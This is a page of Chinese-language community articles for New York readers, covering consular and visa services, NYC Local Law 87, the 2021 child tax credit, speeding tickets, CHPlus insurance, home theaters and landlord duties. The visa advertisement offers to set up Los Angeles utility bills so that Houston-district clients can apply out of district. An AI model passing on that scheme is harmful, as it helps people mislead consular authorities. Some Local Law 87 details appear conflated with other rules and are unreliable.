新冠疫情期间,美域各办公室一直坚持工作,而且成功地帮助众多客户办理了在纽约/洛杉矶领事馆和DC大使馆等领事三级认证/签证/护照和旅行证更新等业务,积累了新冠期间申请中国使领馆各类领事、签证、证件的宝贵经验,并掌握了有效的申请途径。

休斯顿领馆关闭后,美域可以给原休斯顿领区的客户通过注册洛杉矶水电账单的形式跨区办理紧急三级认证以及各类紧急签证等业务,可以节省数月的时间,以及帮助原来通过华盛顿或者芝加哥领馆无法团聚的家人团聚。

美域公司在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约设有办公室,愿竭诚为您提供服务。

波士顿办公室签证服务的联系方式

(邮寄)地址:AET,6 Pleasant Street, Suite 418,Malde MA 02148
电邮:visa.aetb@gmail.com
电话:(781)712-0258
微信: AET_BOSTON

纽约办公室签证服务的联系方式

(邮寄)地址:American Education and Translation Services, 100 Church Street, Suite 800, New York 10007
电邮:nyc@americantranslationservice.com
电话:(917)970-0698/(718)521-6708
微信: AET_NYC (“AET-NYC”是假微信号,不是美域公司微信号,请大家谨防上当受骗!) /AET_BOSTON

洛杉矶办公室签证服务的联系方式

(邮寄)地址:AET,19800 MacArthur Blvd Suite 420, Irvine CA 92612
电邮:ca2@aet21.com
电话:(949)954-7996
微信: LA9499547996

迈阿密办公室签证服务的联系方式

(邮寄)地址:AET,15321 South Dixie Hwy, Suite 302, Palmetto Bay FL 33157
电邮:info@aet21.com/info@americantranslationservice.com
电话:(786)250-3999/(305)799-8389
微信: AET-Miami

 

 

2021-06-30 / by / in ,
纽约 local law 87是什么?如何遵守纽约《第87号地方法规》

纽约正在致力于成为世界上,为减少温室气体排放而采取最积极行动的城市。这是《地方法》第87号(LL87),《能源审计和追溯调试法》出台的缘由。市长白思豪计划,到2030年,纽约市的高层建筑需要减少40%的碳排放,到2050年则需要减少80%。

据统计,纽约市每年的碳排放量超过300万公吨,而其中超过一半的温室气体排放来源于摩天大楼密集区建筑的供暖和制冷,交通则是第二高来源。

《第87号地方法规》(local law 87)的要求:

纽约市第87号地方法规定,大于50,000平方英尺的建筑物必须向建筑部提交能源效率报告。本能效报告包括能源审计结果和重新调试措施的详细信息。

能源审计是对能源流的检查、调查、分析和报告,以提高建筑物的能源效率。它将研究基础建筑系统,例如建筑围护结构、HVAC(暖通空调)、输送系统、生活热水系统以及电气和照明系统。Retro-Commissioning 是对暖通空调和照明控制实际工作情况的详细研究。

LL87的目的是通过能源审核向建筑物所有者,告知他们的能源消耗,并通过节能改善建筑的整体效率。

据了解,纽约表面积超过2.5万平方英尺(2300平方公尺)的约5万栋建筑物所排放的温室气体占据总数的24%,该法案要求这些建筑物必须将锅炉、热水器、屋顶和窗户现代化,否则将依据违规程度和建筑物大小开罚。

此外,新建筑物还必须设置绿色屋顶,或者在屋顶上装设太阳能发电板。

能源审计豁免

如果满足以下任何标准,则LL87涵盖的建筑物免于进行能源审核:

●在报告交付年度之前的2年中,该建筑物至少有3年获得了美国环境保护署的ENERGY STAR标签。

●在报告交付年度之前的4年内,获得美国绿色建筑委员会针对现有建筑物的LEED认证。

●能源性能至少比同类建筑高出25点,并且由纽约市注册设计专家进行了验证。

local law 87地方法扩展解释

如果建筑物所有者经过努力,无法通过能源审计和复古调试,则可以为 LL87 延长时间。如果建筑物遭受经济困难,该物业也有资格获得延期。LL87 的延期申请是 155 美元。延期请求必须在报告到期日的10 月 1日之前提交。

地方法律第 87 条关于经济困难的规定包括:

● 在 DOF 年度纽约市税收留置权销售清单上提交 EER 之前的 2 年内拖欠财产税

● 根据不动产税法第 420-a、420-b、446 或 462 节免除不动产税

● 根据住房保护和发展部的紧急维修计划有未清余额,导致该物业在提交 EER 之前的 2 年内被列入 DOF 的年度纽约市税收留置权销售清单

● 有政府机构出具的积极或有效的承诺书,在 5 年或更短的时间内为中低收入家庭提供经济适用房的改造资金

转换能源以减少排放

当能源也得到优化时,能效措施可以取得更好的效果。例如,太阳能在美国的许多地方都具有成本效益,业主可以为其可再生能源投资申请 26% 的联邦税收抵免(截至 2020 年)。建筑业主还可以从燃油锅炉和熔炉切换到燃气装置 – 每 BTU 输送的热量,天然气的排放量更少。

在某些建筑物中,将电力用于空间供暖和热水可能是不可行的。然而,在许多情况下,从取暖油转向天然气可以将排放量减少一半。以下是一个简化示例,其中一台 300,000 BTU/h 的锅炉从效率为 70% 的燃油装置升级为效率为 90% 的燃气装置。根据美国能源信息署(US EIA) 的数据,取暖油每百万 BTU 会释放 73.16 kg CO2,而天然气每百万 BTU 会释放 53.07 kg CO2。

结语

纽约local law 87地方法规的实施,意味着在纽约的业主,要选择最佳能源供应方案。随着时间的推移,高碳排放建筑物的价值将会下降。

拥有良好的地理位置和有用的功能将不再足以在纽约市房地产市场上竞争。如果你的建筑在浪费能源,你必须每年处理低能源等级,并从2024年开始面临重大处罚。这些问题很可能让租户和买家望而却步,因为他们在租房或购买时也会受到影响。

 

 

2021-06-30 / by / in , ,
美国有娃族必看|美国最新儿童税收抵免变化

文|雨荷

从2021 年夏天开始,儿童税收抵免 (CTC) 发生了重要变化。以下是您需要了解的信息。

2021 年美国救援计划法案 (ARPA) 仅扩大了 2021 纳税年度的儿童税收抵免 (CTC)。从 2021 年 7 月开始,扩大的 CTC 变更将更快地提供财务援助,而不是等到 2022 年报税季节才能获得 CTC 福利。

美国国税局 (IRS) 将根据向该机构提交的纳税申报表,向可能有资格从 2021 年 7 月 15 日起,收到 CTC 付款的家庭发送信函。根据美国国税局的说法,以下是您需要了解的有关变化的信息。

扩大信贷意味着什么:

  • 许多纳税人的信用额度将增加。
  • 符合条件的儿童的抵免额可以全额退还,这意味着即使纳税人没有收入或不欠任何所得税,也可以从抵免额中受益。
  • 抵免额将包括在 2021 年年满 17 岁的儿童。
  • 在提交 2021 年纳税申报表之前,纳税人可能会在 2021 年获得部分抵免。

增加儿童税收抵免的抵免额:

  • 在 2021 纳税年度,如果您的家人申请 CTC,到 2021 年底,每个符合条件的 6 至 17 岁儿童您最多可获得 3,000 美元。
  • 到 2021 年底,每个符合条件的 6 岁以下儿童您将获得 3,600 美元。根据之前的法律,到年底每个符合条件的 17 岁以下儿童的 CTC 金额最高为 2,000 美元。

以下是收入限制:

新的最高抵免额适用于修改后的调整后总收入 (AGI) 为:

单身人士 $75,000 或以下;

户主为 112,500 美元或更少;

提交联合申报表的已婚夫妇和符合条件的寡妇和鳏夫不超过 150,000 美元。

符合条件的家庭应尽快报税:

如果您尚未提交 2020 年纳税申报表,符合条件的纳税人现在无需采取任何行动。美国国税局正在向符合条件的家庭发送信函,这些家庭可能有资格根据税务信息记录获得 CTC。从 2021 年 7 月 15 日开始,符合条件的家庭将开始通过直接存款或支票的方式收到预付款。

美国国税局敦促有孩子的人尽快提交 2020 年的纳税申报表,以确保他们有资格获得适当数量的 CTC,以及他们有资格获得的任何其他税收抵免。如果您的 2020 年报税表不可用,美国国税局将使用您的 2019 年报税表确定付款金额。

如果您不想收到 CTC 的预付款,IRS 将提供拒绝接收预付款的机会。美国国税局还为纳税人提供了一种方法来更新有关其收入、申报状态或合格子女数量变化的信息。

2021 年的儿童税收抵免预付款

儿童税收抵免的重要变化,将帮助许多家庭从今年夏天开始获得抵免的预付款。从 7 月 15 日开始,美国国税局将按月预付总信用额的一半。您将在提交 2021 年所得税申报表时申请另一半。这些变化仅适用于 2021 纳税年度。

要获得预付儿童税收抵免的资格,您和您的配偶(如果您联合报税)必须具备:

  • 提交了 2019 年或 2020 年的纳税申报表,并在申报表中申请了儿童税收抵免;
  • 向我们提供您在 2020 年使用非申报人接收经济影响付款的信息:在此处输入付款信息工具;
  • 在美国有半年以上的主要居所(50个州和哥伦比亚特区)或与在美国有主要居所超过半年的配偶联合申报;
  • 到 2021 年底未满 18 岁且拥有有效社会安全号码的合格儿童;
  • 低于某些收入限制。
2021-06-29 / by / in , , , , ,
纽约超速罚单费用详解|处理纽约超速罚单完整指南

文|雨荷

超速罚单是纽约最常见的罚单之一。纽约州执法机构每年平均开出 700,000 张超速罚单。根据纽约州交通安全统计资料库(TSSR) 的数据,2019 年发出了超过 670,000 张超速罚单,随着每年开出的超速罚单数量不断增加,司机必须尽一切努力将分数和定罪从他们的驾驶记录中删除。不然可能会导致更高的罚款和执照被吊销,从而进一步影响保险费率。

纽约超速罚单的费用是多少?

罚款: 纽约市超速罚单罚款在 45 美元到 600 美元之间。具体来说,在纽约市,以每小时 1 英里到 10 英里的速度超速可能要花费 45 到 150 美元;在纽约市超速 11 英里至 30 英里/小时,需支付 90 至 300 美元;在纽约市超速超过 31 英里/小时的车速需要 180-600 美元。

附加费: 在纽约市因超速被罚单的司机会自动被收取 88 美元的附加费。这是对超速罚单罚款的补充。

驾驶员责任评估费 (DRA):如果您因在 18 个月内发生的违规行为而获得 6 分或更多分,您将被处以额外的罚款,称为驾驶员责任评估费 (DRA)。当您达到 6 分时,您将被罚款 300 美元。在 6 分之后,每点将额外征收 75 美元。这笔罚款将支付给 DMV,并且是与您的罚单相关的法院罚款之外的单独罚款。 

纽约超速违规 总罚款、附加费和 DRA 积分
超速 1-10 MPH 133 美元 – 238 美元 3分
超速 11-20 MPH 178 美元 – 388 美元 4分
超速 21-30 MPH 478 美元 – 988 美元 6分
超速 31-40 MPH $718 – $1,138 8分
超速超过 41 英里/小时 943 美元 – 1,363 美元 11分

积分:以 1 到 10 英里/小时的速度超过限制值 3 分;以 11 到 20 英里/小时的速度超过限制值 4 分;以 21 到 30 英里/小时的速度超过限制值 6 分;以 31 到 40 英里/小时的速度超过限制值 8 分;并且以超过 41 英里/小时或更多的速度超过限制值 11 分。

汽车保险费增加: 由于在纽约市被判超速,司机可能会收到增加的保险费。纽约市司机每年为汽车保险支付高达 2,900 美元的情况并不少见。一项研究发现,在纽约超速行驶会导致保险费率增加高达33%,这意味着一张超速罚单每年可能会额外花费 957 美元——3 年内总共超过 2800 美元!

这样如果您发生车祸,您的保险公司将赔偿损失。保险承保人的主要职责是,根据他们认为您发生车祸的可能性,来确定您的保费应该是多少。您记录的交通违规越多,风险就越大,保费也越高。如果您积累了足够的交通罚单,您的保险公司甚至可以取消您的保单。

什么是纽约市交通违规局?

纽约州的大多数城市、城镇和村庄都有自己的交通法庭来处理超速和其他交通罚单。但纽约市使用交通违规局 (TVB)。TVB 是一个行政法院,隶属于纽约州机动车辆管理局 (DMV)。因此,它不是该州司法部门的一部分,其运作规则与大多数地方交通法庭不同。TVB 根据纽约法典、规则和条例中的交通违规行政裁决规定进行诉讼。

纽约的限速是多少?

纽约市的默认限速为 25 英里/小时。自 2014 年以来,纽约市交通局一直在降低五个行政区的限速。因此,习惯于在某些道路上以 30 英里/小时的速度行驶的司机可能会突然发现自己因超速而被拦下。不幸的是,由于纽约州对超速和其他交通法规负有严格的责任,告诉警察或法官不知道特定道路上的限速,这样做意味着承认超速,并且是定罪的充分理由。

为什么要聘请纽约市超速罚单律师?

1.TVB 比大多数法院都强硬。谈判的空间较小,定罪所需的举证责任也较低。

2.一位经验丰富的纽约市律师会认识法官和许多警察(他们在 TVB 中担任检察官)。因此,他们将与他们中的许多人建立积极的关系,这可以为呈现和处理案件的细微差别提供优势。

3.一个无辜的司机很容易意外地认罪或提供足够的信息来证明定罪。熟练的律师确切地知道该说什么和不该说什么,以确保案件得到彻底陈述,而不会透露任何可能对客户不利的东西。

4.律师可以为司机省去一次上法庭的麻烦。在大多数情况下,纽约州允许律师代替司机出庭。

如何对抗纽约超速罚单

对于那些选择挑战纽约超速罚单的人,这里是流程的工作原理。

1.马上回复。司机只有 15 天的时间来回应纽约市的超速罚单。不回应可能会导致缺席定罪和吊销驾照。TVB 允许司机在线输入无罪辩护(或支付罚单)。
2.出席听证会。一旦有人提出抗辩,将发送听证会通知,说明 TVB 听证会的日期和地点。一定要准时出现,穿着得体,对每个人,尤其是法官,都要有礼貌。

3.提供证据。法官将首先听取警察的证词,警察将解释司机被控超速的原因。然后,司机(或他/她的律师)可以向警官提问。如果司机带来了证人或书面证据,也可以提交。法官可能会向证人或司机提问,以更好地了解他们的证词。这是律师可以发挥最大作用的地方;一个粗心的问题或答案可能会导致定罪。

请记住:在听证会上证明有罪之前,司机被视为无罪。然而,与大多数法院不同的是,TVB 只需要“明确和令人信服的证据”就可以认定某人有违法行为。

4.接受判决。一旦提供了所有证据和证词,法官就会作出裁决。该决定将基于所提供的证据和证词以及有关法规的措辞。如果法官判定没有明确且令人信服的证据表明违法,则判定司机无罪。更常见的是,指控得到证实,司机被判有罪。在这一点上,法官设置罚款,并根据所涉及的违规行为评估分数。如果定罪导致执照被吊销或吊销,也会予以注明。
5.考虑提出上诉纽约市超速罚单定罪可以在线或通过邮件提出上诉。但是,绝大多数的定罪都得到维持,因此在继续之前与律师讨论您的机会可能是值得的。纽约超速罚单数据纽约市五个行政区的超速罚单在整个纽约州的无罪释放率(即无罪判决)中是最低的。2018 年约有 7.1% 的超速罚单被驳回。全州范围内,同年平均有 7.8% 的超速罚单被驳回。然而,该州超过 50% 的超速罚单被归结为非超速违规,这是 TVB 不允许的。

在五个行政区中,史坦顿岛的无罪释放率是纽约市最低的,有 3.6% 的超速罚单被驳回。曼哈顿的超速罚单在纽约市开罚率最高,接近 12.5%。当然,这些是整个行政区的平均值。如果一个人聘请经验丰富的交通罚单律师,获胜的机会会大大增加。

纽约市占 2018 年纽约州所有超速罚单的 19.4%。皇后县的超速罚单数量最多,2020年有 41,881 张,占纽约所有超速罚单的 32%。皇后区、布朗克斯区和布鲁克林区通常都在该州超速罚单数量上排名前 10 位。

曼哈顿的司机拿到的超速罚单是五个行政区中最少的,2018 年只有 13,630 张。然而,纽约警察局当年并没有吝啬罚单;事实上,超速驾驶仅占纽约所有交通罚单的 3.7%。

在纽约市的所有县中,超速在史坦顿岛的交通罚单中所占的比例最大。在史坦顿岛为超速开出的 19,571 张罚单占纽约警察局官员为该县司机开出的所有罚单的 21.7%。

总速度票 部分状态 纽约市的一部分
布朗克斯 28,660 4.14% 21.83%
布鲁克林 28,647 4.14% 21.82%
曼哈顿 13,787 1.99% 10.50%
皇后区 40,689 5.88% 30.99%
斯塔滕岛 19,511 2.82% 14.86%
全部的 131,294 18.97% 100.00%

应该对抗超速罚单还是认罪并支付罚款?

在大多数情况下,对指控认罪并不是一个好主意。警察和检察官希望你对超速指控认罪,因为这让他们的工作变得轻松。认罪意味着您放弃接受审判的权利,您将自动支付罚款、在您的执照上产生积分并支付更高的汽车保险费。您可以选择不认罪并与您的罚单作斗争,而不是面对这些后果!

在许多情况下,律师可以让您被解除(所有指控都被撤销并且没有罚款或处罚)或减少罚款和积分。以下是您应该与超速罚单作斗争的一些原因:

  • 巨额罚款和附加费
  • 驾照上的积分
  • 增加汽车保险费
  • 可能的执照暂停或撤销
  • DMV 处罚(如适用),即纽约州司机责任评估

如果住在不同的州,纽约超速罚单会影响吗?

州外司机与纽约司机一样要缴纳罚款和附加费。如果司机未能支付这些罚款,纽约将暂停他或她的纽约驾驶特权,并且在暂停或撤销期间,该人将被禁止在纽约驾驶。此外,暂停将报告给驾驶员所在州,这也可能触发您所在州 DMV 的执照暂停。此外,许多州会列出州外定罪(即发生在纽约的定罪)并评估各自的分数和处罚。因此,各州之间的信息共享会导致汽车保险费率增加。因此,在大多数情况下,即使司机居住在不同的州,与纽约超速罚单作斗争也更有利。

聘请律师的好处

聘请律师有很多好处。他们的使命是让您的罚单被驳回或尽量减少对您记录的影响。聘请律师来处理您的案件会显着增加您在案件中获得更好结果的机会。可以为您提供:

1.针对您的案件的特定策略,并根据理超速罚单的法院对其进行定制。

2.处理您的案件的低统一费率;您支付的费用不会超过咨询期间的报价。

3.在大多数情况下,您不必在法庭上待一天(或更长时间)。您不必浪费时间和金钱开车上法庭并等待数小时审理您的案件。

为您推荐律师

纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

2021-06-28 / by / in , , , ,
纽约儿童健康保险项目 CHPlus | 儿童医疗保险福利 家庭收入标准 每月保费 如何申请

美国的儿童健康保险项目(Children’s Health Insurance Program, 简称CHIP),每个州的管理和命名都各自不同。 例如,纽约州的Medicaid(白卡) 和Child Health Plus (儿童健康保险,简称CHPlus)是为生活在纽约的儿童提供的免费或低价的医疗保险。这个医疗保险为纽约儿童提供全面的医疗服务,包括:常规检查、免疫接种、眼科和牙科护理等。

纽约儿童健康保险项目 (CHPlus, Child Health Plus)

纽约州的儿童医保计划 (CHPlus), 根据家庭收入的不同,为纽约儿童提供免费或低费用的全面的医护服务。除了免疫接种和健康儿童护理就诊,儿童医保计划 (CHPlus)还承保药物、视力、牙科和精神健康服务。

纽约儿童健康保险项目CHPlus 包含的福利:

  • 常规体检
  • 牙科保健
  • 门诊手术
  • 疫苗接种
  • 急诊(包括到医院的救护车费用)
  • 住院护理
  • 药物(处方药或非处方药)
  • X光和实验室检查
  • 眼科保健,包括常规眼镜
  • 语言和听力服务
  • 医疗设备
  • 专科医生

参加儿童健康保险项目后,您可以从提供给您的清单内,给孩子选择一名家庭医生(全科医生)。需要专科医生就诊的话,只需要家庭医生转诊就可以了。

纽约州的儿童健康保险项目无论是全科医生或专科医生就诊,都无需支付自付额 。

纽约儿童健康保险项目CHPlus 每月支付费用

纽约儿童医保计划 (CHPlus)根据您的家庭每月收入和家庭规模与当前联邦贫困标准线(FPL) 指南的比较,需要每月支付费用各不相同。低收入家庭完全由州补贴,不需要支付任何费用。

收入较高的家庭每月支付的费用分别为: $9、$15、$30、$45 或 $60,取决于家庭收入和家庭规模。

当家庭收入超过联邦贫困标准线 400% 的时候,就需要支付全额保费。根据2020年数据,平均每个孩子的全额保费为每月$231。

如需了解有关儿童医保计划,您的月度保费额,您可以查看纽约最新的联邦贫困标准线图表

我们为您整理了以下表格,提供您参考:

申请资格

在纽约生活的儿童无论何种移民身份都可以参加儿童健康保险CHPlus,也就是说即使不是纽约州公民或合法居民的儿童,只要符合以下条件都可以投保:

– 19 岁以下;

– 不符合白卡Medicaid申请要求(白卡家庭收入,请往下看参考表格);

– 没有其它的健康保险。

在纽约,孩子从出生直到19岁,都可以申请儿童健康保险。如果父母申请了家庭健康保险,孩子作为家庭成员包含在家庭健康保险内,这样就不能再申请儿童健康保险CHPlus了。

总之,父母可以根据家庭收入等情况,为孩子选择一项最适合的健康保险。

如何申请儿童健康保险CHPlus

您可以通过纽约州健保市场 (NYS of Health Marketplace)申请,也可以通过所在社区的辅助员帮助提交申请。

您可以拨打免费电话:800-698-4543或纽约健保市场电话1-855-355-5777,询问申请儿童健保CHPlus的相关内容。

如果您希望有人能协助您申请,每个社区有辅助员可以提供帮助,包括填写申请表、准备相关文件等,以及帮助您选择合适的健康保险。

您只需点击社区信息(Community Organization),就可以找到您最近的辅助员的所在位置。

 

申请白卡Medicaid的收入标准请参考以下表格:

申请白卡Medicaid的流程,请参考下文:

美国纽约申请Medicaid白卡收入标准 福利项目 | 申请条件 流程 是否公共负担 影响身份申请吗

 

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-06-28 / by / in , ,
纽约发烧友看过来,怎样搭建你专属的家庭影院?|家庭影院如何布线,怎样选购低音炮?

你已经准备好了要搭建自己专属的家庭影院了吗?这是激动人心的时刻,这一刻距离你的梦想最接近,完全身临其境、令人震撼的、不可思议的视听盛宴正在等待你来开启。本文小编为纽约的小白发烧友详细介绍建造家庭影院的前期准备、设计要点、如何布线和一些选购低音炮的常识,希望能对正在打造家庭影院的小伙伴们,有实际的帮助。

家庭影院是一个完整的视听娱乐系统,包括了音频、视频和信号源等很多环节,家庭影院的设计搭建是一项系统工程,任何一个细节都会影响到整体的效果。

将家庭影院放在哪里?

找到你认为适合放家庭影院的位置。家庭影院的理想空间是 20 英尺长、13 英尺宽,并且与房子的其他部分相对隔离。客厅、主要起居室、备用卧室或地下室都可以选择。

有些家庭影院可以安装在小地方,有些则需要大房间。这取决于你的家庭影院是供个人使用还是供家庭聚会使用。

• 房间形状。正方形的房间往往会产生信号频率(奇次谐波)失真。如果可以选择,请选择长方形房间,并将显示屏和主扬声器沿短墙放置,以获得最佳声音投射效果。

• 窗户。越少越好。窗户是一个双重障碍,它们可以反射导致声音失真,并且窗外的光线会在荧幕表面上产生反射。

厚重的窗帘有帮助,但这意味着每次打开家庭影院系统时都要关闭百叶窗或窗帘。建议选择遮光式窗帘,紧贴窗框以隔绝光线。

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家庭影院的基本设计

音响布置

主音箱布置方案有3:1:7比例和3:3:1比例,三一七是指音箱摆在房间长的三分之一处,两音箱间隔为房间三分之二长度的0.7倍。而三三一则是将主音箱摆在长度与宽度的第一等分交点上,这两种方案适合大部分家庭。

环境的基本要求

不同的影音环境,包括空间大小房子形状、声学处理等等都对效果有不同影响。然而可以肯定的是家庭影院对环境的基本要求是“空、黑、静”,环境装修设计的好,直接影响最终的效果。

投影幕布

幕布的高度要根据沙发和座椅的高度来最后确定。

处理的原则就是适合大部分人的身高要求,要让人看着舒服,不要仰视和俯视,保证长时间的观影过程中人体能保持一个舒适的姿势。

布线美观协调

家庭影院设备的线材的总数加起来是挺多的,布线对于整体的美观度显得非常重要。准备装修的用户布线比较简单,而之前已经组建有了家庭影院,但选择的显示设备不是投影机而是数字电视的用户,将面临重新布线的问题。

家庭影院要怎样合理布线?

家庭影院要布三类线:音箱线、HDMI线和电源线。

音箱线

一般来说,如果是客厅用户,只用去预埋环绕音箱线。因为主音箱线都在电视柜一端,直接用成品的喇叭线就好,不用去预埋。

主箱线不要预埋,这样更方便更换,并且可以用更高档的线材。

而如果是独立视听室,那么有可能所有的音箱线都要提前预埋好。所有的线,从放置功放的位置出来,然后到每个音箱所处的位置。要提前埋好全部的喇叭线。

不过,低音炮线如果在客厅,不建议预埋。如果是在独立视听室,建议在四个角都预留炮线,并且出墙最好留上2.5米左右。

因为低音炮跟据摆位的不同,声音会有较大的变化,所以这个位置 ,前期并不能很好确定。所以,最好多留几条,在四个角上。

HDMI线

HDMI线主要是指从摆放播放器和功放到投影机的这一距离 ,需要预埋进墙面。而且,由于HDMI的线条子非常容易坏,所以最好一次最少埋两根HDMI线进去。

电源线

装修布电源线时,首先要记住,在安装强电箱的位置 ,从空气开关处单独为家庭影院走至少一路线。

这是为了减少线路中的干扰,如果有人在家里用其它的电器,如电吹风或电暧器之类的,如果你的音响正好在这一条线路上,那么有可能会出现电流声。而单走一路线,可以完美的避免这类事情。

其次,电源线要单独在安装投影机的地方留出一路,并且最好隐蔽的地方,再安装一个开关去控制这一路电源。

针对投影机的这一路插头,最好是安装一个开关。

这样,不但能给投影机供电,同时在长时间不用投影机的时候,你也不用爬得老高去拔投影机的插头。

怎样选购家庭影院的低音炮

根据设计,低音炮可以在很多不同的维度分为几种不同的类型,例如倒相式和密闭式,橡胶边和布边,有源和无源等等。

• 低音炮大小的选择

实际的听音空间在二十多平米,推荐大家购买十二寸低音炮。虽然说低音炮的尺寸越大越好,但对于这样大小的房间,十五寸的低音炮可能不容易摆放,相比之下,十二寸是一个更合适的选择。

如果你的观影面积超过三十平米,还是建议购买十五寸的低音炮。

• 橡胶边低音炮和布边低音炮的选择

绝大多数的家庭影院低音炮均采用橡胶边、布边或者风琴边。更多专业低音炮,一般是用在舞台扩声、电影院或者户外演出使用。

布边的低音炮灵敏度和最大声压级通常比较高,但是对于家用或者说小空间环境通常不需要那么高的灵敏度。

布边低音炮的下潜表现相对较差。对于超低音或者低音炮来说,绝大多数家用环境或是五十平米以下的环境,还是优先考虑橡胶边的低音炮即可。

对于六十至八十平米以上的环境,则可以考虑风琴边的专业低音炮。

• 有源低音炮和无源低音炮的差异

从理论上讲,无源音箱和有源音箱并不存在孰优孰劣。但实际上对于低音炮而言,可能存在差异。通常无源低音炮表现会比有源低音炮更好一些。

主要有两个原因,第一点是绝大多数家用低音炮的功放板集成的DSP功能较少,甚至相位调节都很难做到精确,滤波器的种类可选也较少。如果此时恰好使用一些中低端的家庭影院功放,尤其是合并机,那么低音的实际表现可能没有精确调节DSP的效果好。

第二点,是由于内置功放板会占用一定的箱体空间,从而可能影响箱体设计。通常功放板与箱体内部还有一个专门的密封罩隔绝,当然也有可能直接PCB板裸露。低音在播放一些瞬态的大信号时,声音可能受到由扬声器单元而引起的内外部空气流动的影响,往往内置功放板导致结构变化,可能破坏理想的箱体设计,这就导致低频表现,不如一些无源低音炮。

但是有源低音炮确实会更方便一些。无源低音炮所需要的专用功放通常需要额外的空间。不过如果预算比较充足,并且有独立的设备间,那么还是推荐无源低音炮。

• 倒相式与密闭式低音炮的比较

在理想状态下密闭式低音炮的表现是要比倒相式要好的。现实中,尤其是在同价位,通常倒相式音箱的综合表现会更好一些。在相同的容积与单元的条件下,倒相式音箱可获得比密闭式音箱更低的低频下潜截止频率,从而对放大器的驱动功率要求有所降低,也就是玩家经常说的更“容易推”。

密闭式设计低音音箱的低频下潜略差,但反应很灵敏,速度快,瞬态表现优;倒相式低音音箱低频延伸更好,但是瞬态、线条感会相对差些。

那么要怎么选择呢,这就要看个人的需求和实际使用情况。如果观影面积很大,预算又比较紧张,就可以优先考虑倒相炮,先满足能量需求;如果房间并不是很大,或者对声音质感、精准度要求比较高,建议选择高素质密闭低音炮。

低音炮的摆位和调试问题

对于绝大多数家用环境而言,如果是单低音炮就放在其中一个三面墙的墙角下,如果是双低音炮就放在正前面的两个墙角处。也许有人会说,可能稍微再微调一下,位置效果会更好。尤其是对于一些非规则的房间,但这一方面需要较好的测试设备,这并不是所有人都有的。所以比较稳妥的方法还是把低音炮放在一个三面墙的角落内,用家庭影院功放自带的校准套件,削弱掉一定的低频增益部分。

高品质低音炮不论对于HiFi音乐还是电影都可以提供高品质的,甚至是超越所有主流音箱的低音体验。专用的超低音单元的低频表现,总是比通用的低音单元要好的。


纽约SSV electronics爱乐音响店,是集前期设计,布线,安装,到后期的日常管理为一体的公司。代理很多世界顶级音响品牌,包括:Bowers &amp; Wilkins(宝华韦健), Focal (劲浪),Meridian (英国之宝),Klipsch (杰士), Naim,等等。

创始人Harvey Lee 是一位在电子行业拥有超过20年经验的声学工程师, 毕业于英国曼彻斯特索尔福德大学,获得音频技术理学学士学位。致力于把最先进和最高端的音响设备带给更多的朋友,希望给您带来最高品质的视听享受。

电话:718-530-6937
地址:135-12 37th Ave, Flushing, NY 11354

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2021-06-27 / by / in , , , , , ,
美国纽约房东的责任和义务|纽约房东必须遵守的主要规定

文|雨荷

在纽约市,租户拥有许多与其住房安全和质量相关的权利。纽约租户有权获得宜居、安全和干净的公寓。法律保护租户免受骚扰和歧视。

房东必须保持公寓和公共区域维护良好、清洁,没有昆虫、害虫、垃圾或其他令人讨厌的材料。房东还必须确保所有电气、管道、卫生、供暖和通风系统都正常工作。房东还必须确保他们安装的任何电器,如冰箱和炉灶,都处于良好和安全的工作状态。有关于臭虫和吸烟政策的规定。房东必须让您的公寓没有臭虫,并且必须向所有租户提供有关建筑物吸烟政策的通知。

纽约所有房东必须遵守十一项主要规定

1.房东必须在您的公寓内安装烟雾探测器。房东必须在他们的公寓中安装电池供电的烟雾探测器:如果您在纽约市租房,您的房东可能会要求您报销购买和安装每个烟雾探测器的费用(最高 10 美元)。但是,如果烟雾探测器在第一年不能正常工作并且您不应该受到责备,那么您的房东必须修理或更换有故障的探测器而无需报销。

2.烟雾探测器必须: 位于每间卧室或其他用于睡觉的房间 10 英尺范围内,并且在这些房间的每一个中都可以清晰地听到。

3.房东必须安装一氧化碳探测器。如果您的公寓楼是在 2005 年 8 月 9 日之后在纽约州建造或出售的,则必须根据当地建筑规范,在每间卧室或其他用于睡觉的房间中都装有一氧化碳探测器,可以清晰地听到。在纽约市,所有多户住宅和一户两户住宅的房东,都必须在每间卧室或其他用于睡觉的房间主入口 15 英尺范围内,提供和安装一氧化碳探测器。

4.房东必须参与基本的犯罪预防。州法律要求房东采取基本的预防措施来防止可预见的犯罪。例如,房东必须根据需要修理或更换有故障的锁和破损的窗户。

5.如果您的公寓楼是在 1968 年 1 月 1 日之后建造或改建为多套住宅,则所有建筑物入口处必须有自动自闭和自锁门。这些门必须始终保持锁定状态,除非大堂服务员值班。您的房东还负责,确保建筑物入口以及楼梯和庭院有足够的照明。

6.如果您的公寓楼是在 1968 年 1 月 1 日之后建造或改建为多套住宅,并且有八套或更多公寓,则必须配备双向对讲系统,使您能够在大楼入口处与访客交流并让他们蜂拥而至。

7.如果您住在拥有八间或更多公寓的建筑物中,当房东提供的服务员不值班时,您有权自费为您的安全和安保提供大堂服务员服务。

8.房东必须安装电梯安全镜。您的公寓楼必须在每个自助电梯中安装一面镜子,以便租户和访客在进入之前,可以看到是否有人已经在电梯里。

9.房东必须提供公寓门锁,并让您安装第二把锁。除了房东提供的锁外,您还可以安装周长不超过三英寸的自己的锁,前提是您应要求向房东提供钥匙副本。请注意,您的房东不能要求您支付,更多租金或安装附加锁的费用。

10.房东必须提供窥视孔。您的房东必须在建筑物的公寓门上提供一个窥视孔。在纽约市,房东还必须在每间公寓的入口门上,安装一个链式门卫,这样您就可以打开门看到谁在那里。

11.房东必须在大多数建筑物中提供安全邮箱。联邦邮政法规要求业主提供安全邮箱,租户建筑物至少有三个公寓。您的房东还必须保持您的邮箱和锁处于良好工作状态。

住在纽约市既迷人又有趣,但也有潜在的危险。尽管大多数房东通过确保租户住在安全的建筑物中,来遵守州法规,但租户不应仅依靠一把锁或一名大堂服务员,来防止他们遭受犯罪活动。

 

 

 

 

 

2021-06-25 / by / in , , , , , , ,
纽约暑期孩子们的好去处/参加纽约夏令营的收获/美国纽约北方学校夏令营

文/Coco

